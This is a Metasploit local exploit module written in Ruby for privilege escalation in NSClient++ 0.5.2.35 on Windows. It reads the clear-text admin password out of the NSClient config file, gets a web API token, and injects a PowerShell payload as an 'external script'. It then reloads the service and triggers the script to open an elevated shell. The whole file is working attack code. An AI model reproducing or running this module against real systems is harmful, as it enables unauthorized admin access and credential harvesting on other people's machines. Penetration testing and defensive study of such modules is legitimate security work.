##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpClient
  include ::Msf::Exploit::Powershell
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NSClient++ 0.5.2.35 - Privilege escalation',
        'Description' => %q{
          This module allows an attacker with an unprivileged windows account to gain admin access on windows system and start a shell.
          For this module to work, both the NSClient++ web interface  and `ExternalScripts` features must be enabled.
          You must also know where the NSClient config file is, as it is used to read the admin password which is stored in clear text.
        },
        'License' => MSF_LICENSE,
        # This module is kind of mix of the two following POCs :
        'Author' => [ # This module is kind of mix of the two following POCs :
          'kindredsec', # POC on www.exploit-db.com
          'BZYO', # POC on www.exploit-db.com
          'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
        ],
        'References' => [
          ['EDB', '48360'],
          ['EDB', '46802']
        ],
        'Platform' => %w[windows],
        'Arch' => [ARCH_X64],
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_powershell
            }
          ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-10-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8443 }
      )
    )

    deregister_options('RHOSTS')
    register_options [
      OptString.new('FILE', [true, 'Config file of NSClient', 'C:\\Program Files\\NSClient++\\nsclient.ini']),
      OptInt.new('DELAY', [true, 'Delay (in sec.) between each attempt of checking nscp status', 2])
    ]
  end

  def rhost
    session.session_host
  end

  def configure_payload(token, cmd, key)
    print_status('Configuring Script with Specified Payload . . .')

    plugin_id = rand(1..10000).to_s

    node = {
      'path' => '/settings/external scripts/scripts',
      'key' => key
    }
    value = { 'string_data' => cmd }
    update = { 'node' => node, 'value' => value }
    payload = [
      {
        'plugin_id' => plugin_id,
        'update' => update
      }
    ]
    json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }

    r = send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })

    if !(r&.body.to_s.include? 'STATUS_OK')
      print_error('Error configuring payload. Hit error at: ' + endpoint)
    end

    print_status('Added External Script (name: ' + key + ')')
    sleep(3)
    print_status('Saving Configuration . . .')
    header = { 'version' => '1' }
    payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
    json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }

    send_request_cgi({
      'method' => 'POST',
      'data' => JSON.generate(json_data),
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/settings/query.json')
    })
  end

  def reload_config(token)
    print_status('Reloading Application . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/core/reload')
    })

    print_status('Waiting for Application to reload . . .')
    sleep(10)
    response = false
    count = 0
    until response
      begin
        sleep(datastore['DELAY'])
        r = send_request_cgi({
          'method' => 'GET',
          'headers' => { 'TOKEN' => token },
          'uri' => normalize_uri('/')
        })
        if r && !r.body.empty?
          response = true
        end
      rescue StandardError
        print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
      end

      count += 1
      if count > 10
        fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
      end
    end
  end

  def trigger_payload(token, key)
    print_status('Triggering payload, should execute shortly . . .')

    send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri("/query/#{key}")
    })
  rescue StandardError
    print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
  end

  def external_scripts_feature_enabled?(token)
    r = send_request_cgi({
      'method' => 'GET',
      'headers' => { 'TOKEN' => token },
      'uri' => normalize_uri('/registry/control/module/load'),
      'vars_get' => { 'name' => 'CheckExternalScripts' }
    })

    r&.body.to_s.include? 'STATUS_OK'
  end

  def get_auth_token(pwd)
    r = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/auth/token?password=' + pwd)
    })

    if r&.code == 200
      auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
      return auth_token
    end
  rescue StandardError => e
    print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
  end

  def get_arg(line)
    line.split('=')[1].gsub(/\s+/, '')
  end

  def leak_info
    file_contents = read_file(datastore['FILE'])
    return unless file_contents

    a = file_contents.split("\n")
    pwd = nil
    web_server_enabled = false

    a.each do |x|
      if x =~ /password/
        pwd = get_arg(x)
        print_good("Admin password found : #{pwd}")
      elsif x =~ /WEBServer/
        if x =~ /enabled/
          web_server_enabled = true
          print_good('NSClient web interface is enabled !')
        end
      end
    end
    return pwd, web_server_enabled
  end

  def check
    datastore['RHOST'] = session.session_host
    pwd, web_server_enabled = leak_info
    if pwd.nil?
      CheckCode::Unknown('Admin password not found in config file')
    elsif !web_server_enabled
      CheckCode::Safe('NSClient web interface is disabled')
    else
      token = get_auth_token(pwd)
      if token.nil?
        CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
      elsif external_scripts_feature_enabled?(token)
        CheckCode::Vulnerable('External scripts feature enabled !')
      else
        CheckCode::Safe('External scripts feature disabled !')
      end
    end
  end

  def exploit
    datastore['RHOST'] = session.session_host
    pwd, _web_server_enabled = leak_info
    cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
    token = get_auth_token(pwd)

    if token
      rand_key = rand_text_alpha_lower(10)
      configure_payload(token, cmd, rand_key)
      reload_config(token)
      token = get_auth_token(pwd) # reloading the app might imply the need to create a new auth token as the former could have been deleted
      trigger_payload(token, rand_key)
    else
      print_error('Auth token couldn\'t be retrieved.')
    end
  end
end
